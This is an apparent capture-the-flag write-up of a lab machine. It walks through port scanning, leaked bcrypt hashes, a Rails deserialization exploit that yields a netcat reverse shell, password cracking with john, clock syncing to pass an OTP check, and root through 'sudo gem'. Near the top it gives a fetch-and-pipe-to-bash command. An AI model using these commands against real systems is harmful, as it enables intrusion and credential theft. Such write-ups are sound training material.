Short description to include any strange things to be dealt with
TODO: finish writeup and clean up
Useful Skills and Tools
Execute a shell script payload without writing to disk
wget-O--q $url:$port/$file |bash
that extra (-) is important, don't leave it out!
Useful thing 2
description with generic example
Enumeration
Nmap scan
I started my enumeration with an nmap scan of 10.10.10.211. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oA <name> saves the output with a filename of <name>.
┌──(zweilos㉿kali)-[~/htb/jewel]
└─$ nmap -sCV -n -p- -Pn -v -oA jewel 10.10.10.211 130 ⨯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-13 20:56 EST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 20:56
Completed NSE at 20:56, 0.00s elapsed
Initiating NSE at 20:56
Completed NSE at 20:56, 0.00s elapsed
Initiating NSE at 20:56
Completed NSE at 20:56, 0.00s elapsed
Initiating Connect Scan at 20:56
Scanning 10.10.10.211 [65535 ports]
Discovered open port 8080/tcp on 10.10.10.211
Discovered open port 22/tcp on 10.10.10.211
Connect Scan Timing: About 17.74% done; ETC: 20:58 (0:02:24 remaining)
Connect Scan Timing: About 41.92% done; ETC: 20:58 (0:01:25 remaining)
Connect Scan Timing: About 65.74% done; ETC: 20:58 (0:00:47 remaining)
Discovered open port 8000/tcp on 10.10.10.211
Completed Connect Scan at 20:58, 125.55s elapsed (65535 total ports)
Initiating Service scan at 20:58
Scanning 3 services on 10.10.10.211
Completed Service scan at 20:58, 11.25s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.10.211.
Initiating NSE at 20:58
Completed NSE at 20:58, 2.77s elapsed
Initiating NSE at 20:58
Completed NSE at 20:58, 0.33s elapsed
Initiating NSE at 20:58
Completed NSE at 20:58, 0.00s elapsed
Nmap scan report for 10.10.10.211
Host is up (0.076s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA)
| 256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA)
|_ 256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519)
8000/tcp open http Apache httpd 2.4.38
|_http-generator: gitweb/2.20.1 git/2.20.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.38 (Debian)
| http-title: 10.10.10.211 Git
|_Requested resource was http://10.10.10.211:8000/gitweb/
8080/tcp open http nginx 1.14.2 (Phusion Passenger 6.0.6)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6
|_http-title: BL0G!
Service Info: Host: jewel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 20:58
Completed NSE at 20:58, 0.00s elapsed
Initiating NSE at 20:58
Completed NSE at 20:58, 0.00s elapsed
Initiating NSE at 20:58
Completed NSE at 20:58, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 141.32 seconds
My nmap scan found only three open ports: 22 -SSH, 8000 - HTTP, and 8080 - HTTP.
Port 8080 - HTTP
On the site hosted on port 8080 I found a "Bl0g" site. While looking through the articles I found two potential usernames bill and jennifer.
created an account, then logged in.
On the profile page saw a 'edit profile' link and was hoping for a image upload box, but there wasn't anything useful as I could only update the username.
Port 8000 - HTTP
On the web server hosted on port 8000 I found a git page for the "Bl0g".
file tree
The file Gemfile contained version information for all of the source files for the project, including the version of the Ruby on Rails Framework.
in the git code I found a couple of password hashes, in the file bd.sql
I downloaded the git code for the site by clicking on the snapshot link. I opened the SQL database locally but didn't find anything more that seemed useful in it, or in the rest of the code files.
COPY public.users (id, username, email, created_at, updated_at, password_digest) FROM stdin;
+1 bill bill@mail.htb 2020-08-25 08:13:58.662464 2020-08-25 08:13:58.662464 $2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW
+2 jennifer jennifer@mail.htb 2020-08-25 08:54:42.8483 2020-08-25 08:54:42.8483 $2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy
+\.
This also includes email addresses for the users with a domain of mail.htb.
While looking up version numbers for everything, I found an exploit for this version of git, but it looked to only work on Windows.
Back in the code in the Gemfile I had found version numbers for rails 5.2.2.1. After searching for vulnerabilities for this version I found multiple CVEs that were related:
On cvebase there were eight POCs listed for this CVE which looked like a winner! I selected the one with the most upvotes which took me to a GitHub page.
The instructions looked simple enough to follow, but I did not have rails installed, so I did that first. Next, I created a new project called test. (Had to change the name to testing, since 'test' is apparently a ruby/rails reserved key word.)
┌──(zweilos㉿kali)-[~/htb/jewel]
└─$ rails new testing
create
create README.md
create Rakefile
create .ruby-version
create config.ru
create .gitignore
create Gemfile
run git init from "."
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint:
hint: git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint: git branch -m <name>
Initialized empty Git repository in /home/zweilos/htb/jewel/exploit/.git/
create package.json
create app
create app/assets/config/manifest.js
create app/assets/stylesheets/application.css
create app/channels/application_cable/channel.rb
create app/channels/application_cable/connection.rb
create app/controllers/application_controller.rb
create app/helpers/application_helper.rb
create app/javascript/channels/consumer.js
create app/javascript/channels/index.js
create app/javascript/packs/application.js
create app/jobs/application_job.rb
create app/mailers/application_mailer.rb
create app/models/application_record.rb
create app/views/layouts/application.html.erb
create app/views/layouts/mailer.html.erb
create app/views/layouts/mailer.text.erb
create app/assets/images
create app/assets/images/.keep
create app/controllers/concerns/.keep
create app/models/concerns/.keep
create bin
create bin/rails
create bin/rake
create bin/setup
create bin/yarn
create config
create config/routes.rb
create config/application.rb
create config/environment.rb
create config/cable.yml
create config/puma.rb
create config/spring.rb
create config/storage.yml
create config/environments
create config/environments/development.rb
create config/environments/production.rb
create config/environments/test.rb
create config/initializers
create config/initializers/application_controller_renderer.rb
create config/initializers/assets.rb
create config/initializers/backtrace_silencers.rb
create config/initializers/content_security_policy.rb
create config/initializers/cookies_serializer.rb
create config/initializers/cors.rb
create config/initializers/filter_parameter_logging.rb
create config/initializers/inflections.rb
create config/initializers/mime_types.rb
create config/initializers/new_framework_defaults_6_0.rb
create config/initializers/wrap_parameters.rb
create config/locales
create config/locales/en.yml
create config/master.key
append .gitignore
create config/boot.rb
create config/database.yml
create db
create db/seeds.rb
create lib
create lib/tasks
create lib/tasks/.keep
create lib/assets
create lib/assets/.keep
create log
create log/.keep
create public
create public/404.html
create public/422.html
create public/500.html
create public/apple-touch-icon-precomposed.png
create public/apple-touch-icon.png
create public/favicon.ico
create public/robots.txt
create tmp
create tmp/.keep
create tmp/pids
create tmp/pids/.keep
create tmp/cache
create tmp/cache/assets
create vendor
create vendor/.keep
create test/fixtures
create test/fixtures/.keep
create test/fixtures/files
create test/fixtures/files/.keep
create test/controllers
create test/controllers/.keep
create test/mailers
create test/mailers/.keep
create test/models
create test/models/.keep
create test/helpers
create test/helpers/.keep
create test/integration
create test/integration/.keep
create test/channels/application_cable/connection_test.rb
create test/test_helper.rb
create test/system
create test/system/.keep
create test/application_system_test_case.rb
create storage
create storage/.keep
create tmp/storage
create tmp/storage/.keep
remove config/initializers/cors.rb
remove config/initializers/new_framework_defaults_6_0.rb
run bundle install --local
Could not find gem 'rails (~> 6.0.3, >= 6.0.3.4)' in any of the gem sources listed in your Gemfile.
run bundle binstubs bundler
Could not find gem 'rails (~> 6.0.3, >= 6.0.3.4)' in any of the gem sources listed in your Gemfile.
run bundle exec spring binstub --all
Could not find gem 'rails (~> 6.0.3, >= 6.0.3.4)' in any of the gem sources listed in your Gemfile.
Run `bundle install` to install missing gems.
rails webpacker:install
Could not find gem 'rails (~> 6.0.3, >= 6.0.3.4)' in any of the gem sources listed in your Gemfile.
Run `bundle install` to install missing gems.
┌──(zweilos㉿kali)-[~/htb/jewel]
└─$ cd testing
┌──(zweilos㉿kali)-[~/htb/jewel/exploit]
└─$ bundle install 7 ⨯
Fetching gem metadata from https://rubygems.org/............
Fetching gem metadata from https://rubygems.org/.
Resolving dependencies....
Fetching rake
Installing rake
...snipped...
After installing rails and starting my new project I got an error message saying some of the dependencies were not installed, so I had to run the bundle install command to install those as well. There was a long list of things it installed.
If you get any further errors make sure to read the errors and follow what they say. Each error should be verbose enough to tell you what needs to be done to resolve the problem.
I had a lot of dependency issues, from yarn, webpacker, rails, and more...
I had to do the above steps to resolve the webpacker issues I was receiving. For some reason the gem version of yarn was causing problems, so I had to remove it and install it through npm.
┌──(zweilos㉿kali)-[~/htb/jewel/testing]
└─$ rails c
Loading development environment (Rails 6.0.3.5)
irb(main):001:0>
After installing all of the dependencies I was able to start the rails console.
After all of that work, it was pretty easy to follow the instructions in the POC to create the payload.
captured request to change the username on the 'edit profile' page in burp, then added my payload in place of the username field
On the exit profile page, got an error message after sending my payload in place of the username field, but the payload still executed.
Initial Foothold
zweilos@kali:~/htb/jewel$ script
Script started, output log file is 'typescript'.
┌──(zweilos㉿kali)-[~/htb/jewel]
└─$ bash
zweilos@kali:~/htb/jewel$ nc -lvnp 8099
listening on [any] 8099 ...
connect to [10.10.15.13] from (UNKNOWN) [10.10.10.211] 40016
bash: cannot set terminal process group (818): Inappropriate ioctl for device
bash: no job control in this shell
bill@jewel:~/blog$
After sending my payload and sending another GET request for the profile page I got a connection back at my waiting netcat listener. I used the program script to save a transcript of all commands that I was about to run in the netcat shell, and made sure my listener was running in bash rather than zsh, since the latter causes issues when setting stty raw -echo when upgrading shells.
Upgraded my shell so I could use ctrl-c, arrow keys for history, etc.
bill@jewel:~$ id && hostname
uid=1000(bill) gid=1000(bill) groups=1000(bill)
jewel.htb
I was logged in a bill, no special groups
bill@jewel:~/blog$ cd /home
bill@jewel:/home$ ls
bill
bill@jewel:/home$ cd bill/
bill@jewel:~$ ls -la
total 52
drwxr-xr-x 6 bill bill 4096 Sep 17 14:10 .
drwxr-xr-x 3 root root 4096 Aug 26 09:32 ..
lrwxrwxrwx 1 bill bill 9 Aug 27 11:26 .bash_history -> /dev/null
-rw-r--r-- 1 bill bill 220 Aug 26 09:32 .bash_logout
-rw-r--r-- 1 bill bill 3526 Aug 26 09:32 .bashrc
drwxr-xr-x 15 bill bill 4096 Sep 17 17:16 blog
drwxr-xr-x 3 bill bill 4096 Aug 26 10:33 .gem
-rw-r--r-- 1 bill bill 43 Aug 27 10:53 .gitconfig
drwx------ 3 bill bill 4096 Aug 27 05:58 .gnupg
-r-------- 1 bill bill 56 Aug 28 07:00 .google_authenticator
drwxr-xr-x 3 bill bill 4096 Aug 27 10:54 .local
-rw-r--r-- 1 bill bill 807 Aug 26 09:32 .profile
lrwxrwxrwx 1 bill bill 9 Aug 27 11:26 .rediscli_history -> /dev/null
-r-------- 1 bill bill 33 Feb 14 14:27 user.txt
-rw-r--r-- 1 bill bill 116 Aug 26 10:43 .yarnrc
There was a few interesting hidden files in bill's home folder, including one called .google_authenticator.
I was happy to see that bill had the user.txt flag in his home directory!
Path to Power (Gaining Administrator Access)
Enumeration as bill
[+] Searching specific hashes inside files - less false positives (limit 70)
/var/backups/dump_2020-08-27.sql:$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
/home/bill/blog/bd.sql:$2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW
linpeas pointed out that there were a couple of files with password hashes. The second one was one that I had tried to crack unsuccessfully before, but the other was new. Since it was in a backups folder, it was possible that this was an old password that was used elsewhere
I copied the backup SQL file to my local machine and opened it up. There were a couple of new hashes in it, which I loaded into hashcat to try to crack.
┌──(zweilos㉿kali)-[~/htb/jewel]
└─$ hashcat -O -D1,2 -a0 -m3200 --username hash_backup /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
Kernel /usr/share/hashcat/OpenCL/m03200-optimized.cl:
Optimized kernel requested but not needed - falling back to pure kernel
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72
Failed to parse hashes using the 'native hashcat' format.
Failed to parse hashes using the 'native hashcat' format.
No hashes loaded.
Started: Sun Feb 14 18:04:00 2021
Stopped: Sun Feb 14 18:04:00 2021
┌──(zweilos㉿kali)-[~/htb/jewel]
└─$ hash-identifier 255 ⨯
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
Not Found.
--------------------------------------------------
HASH: ^C
Bye!
┌──(zweilos㉿kali)-[~/htb/jewel]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash_backup
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob (?)
For some reason hashcat could not identify the backup hashes as a valid bcrypt hash, but john was able to crack one of them almost immediately.
I checked /etc/passwd to see if there were any other users, but only bill, postgres, and root could log in.
bill@jewel:/var/backups$ sudo -l
[sudo] password for bill:
Verification code:
I fart in your general direction!
[sudo] password for bill:
I fart in your general direction!
[sudo] password for bill:
sudo: 3 incorrect password attempts
It password ended up belonging to bill. I tried using sudo -l again now that I had a password, but it asked for a verification code. This seemed like it may have been related to the .google-authenticator file I saw in bill's home folder.
Run the google-authenticator binary to create a new secret key in your home directory. These settings will be stored in ~/.google_authenticator.
bill@jewel:~$ google-authenticator
Do you want authentication tokens to be time-based (y/n) n
Warning: pasting the following URL into your browser exposes the OTP secret to Google:
https://www.google.com/chart?chs=200x200&chld=M|0&cht=qr&chl=otpauth://hotp/bill@jewel.htb%3Fsecret%3DJ5B3HMXHBC3IYW54L7HI6FIY7E%26issuer%3Djewel.htb
...qr code would be here...it didn't copy for some reason, though...
Your new secret key is: J5B3HMXHBC3IYW54L7HI6FIY7E
Your verification code is 983076
Your emergency scratch codes are:
78936844
50472226
37399849
28773354
23422974
Do you want me to update your "/home/bill/.google_authenticator" file? (y/n) y
By default, three tokens are valid at any one time. This accounts for
generated-but-not-used tokens and failed login attempts. In order to
decrease the likelihood of synchronization problems, this window can be
increased from its default size of 3 to 17. Do you want to do so? (y/n) y
If the computer that you are logging into isn't hardened against brute-force
login attempts, you can enable rate-limiting for the authentication module.
By default, this limits attackers to no more than 3 login attempts every 30s.
Do you want to enable rate-limiting? (y/n) n
Failed to write new secret: Operation not permitted
bill@jewel:~$ sudo -l
[sudo] password for bill:
Verification code:
You must cut down the mightiest tree in the forest... with... a herring!
[sudo] password for bill:
Verification code:
Pauses for audience applause, not a sausage
[sudo] password for bill:
Verification code:
sudo: 3 incorrect password attempts
I was unable to setup a new google authenticator (and somebody likes monty Python...)
The easiest way to generate codes is with oath-tool. It is available in the oath-toolkit package, and can be used as follows: oathtool --totp -b ABC123 Where ABC123 is the secret key.
After installing oathtool and trying to generate totp using the code I had found, I noticed that the machine's time was GMT, and my system was not. This was causing my attempts to verify the OTP to fail.
bill@jewel:~$ sudo -l
[sudo] password for bill:
Verification code:
Error "Operation not permitted" while writing config
I fart in your general direction!
[sudo] password for bill:
Verification code:
Error "Operation not permitted" while writing config
This man, he doesn't know when he's beaten! He doesn't know when he's winning, either. He has no... sort of... sensory apparatus...
After setting my system to GMT I got a different sort of error. The time between the two machines was still off by a few minutes, which may have been still causing problems. I searched for ways to sync the times between the two machines
┌──(zweilos㉿kali)-[~/htb/jewel]
└─$ remote_time=`ssh -i jewel bill@10.10.10.211 date` && date -s $remote_time
date: invalid date ‘Mon 15 Feb 00:51:59 GMT 2021’
Unfortunately it seems not only are the time zones different, but the format of the date/time was different which made it so I couldn't sync automatically by using SSH.
After playing around with matching the times, I realized that the time zone, and date were wrong.
NOTE: There's also this option in Ubuntu 14.04 and higher with a single command (source: Ask Ubuntu - setting timezone from terminal): $ sudo timedatectl set-timezone Etc/GMT-6
...you should be using a fully named time zone like America/New_York or Europe/London or whatever is appropriate for your location...
┌──(zweilos㉿kali)-[~/htb/jewel]
└─$ sudo timedatectl set-timezone Europe/London
[sudo] password for zweilos:
┌──(zweilos㉿kali)-[~/htb/jewel]
└─$ date
Sun 14 Feb 2021 07:27:42 PM GMT
┌──(zweilos㉿kali)-[~/htb/jewel]
└─$ sudo date -s "02:28:50 AM" 1 ⨯
Sun 14 Feb 2021 02:28:50 AM GMT
┌──(zweilos㉿kali)-[~/htb/jewel]
└─$ sudo date -s "Mon 15 Feb"
Mon 15 Feb 2021 12:00:00 AM GMT
┌──(zweilos㉿kali)-[~/htb/jewel]
└─$ sudo date -s "02:29:15 AM"
[sudo] password for zweilos:
Mon 15 Feb 2021 02:29:15 AM GMT
After getting the time synced, I was able to check the results of sudo -l finally:
bill@jewel:~$ sudo -l
[sudo] password for bill:
Verification code:
Matching Defaults entries for bill on jewel:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, insults
User bill may run the following commands on jewel:
(ALL : ALL) /usr/bin/gem
After all of that trouble getting the OTP, I was glad to see there was a result! Next, I searched for a way to do privilege escalation using sudo gem and found a post on GTFObins on how to do this.
This requires the name of an installed gem to be provided (rdoc is usually installed). gem open -e "/bin/sh -c /bin/sh" rdoc
Getting a root shell
bill@jewel:~$ sudo gem open -e "/bin/sh -c /bin/sh" rdoc
# id && hostname
uid=0(root) gid=0(root) groups=0(root)
jewel.htb
I ran the command from GTFObins with sudo and it immediately gave me a root shell. It seemed to me that if I had been able to read the sudoers file I could have bypassed all of that trouble with OTPs. I wasn't sure why one wasn't required to run the command, unless I was still authenticated. I logged back out to test this.
bill@jewel:~$ less /etc/sudoers
/etc/sudoers: Permission denied
I had forgotten to check this file earlier, but I was somewhat relieved that all of the pain that it took to sync the date and time wasn't in vain.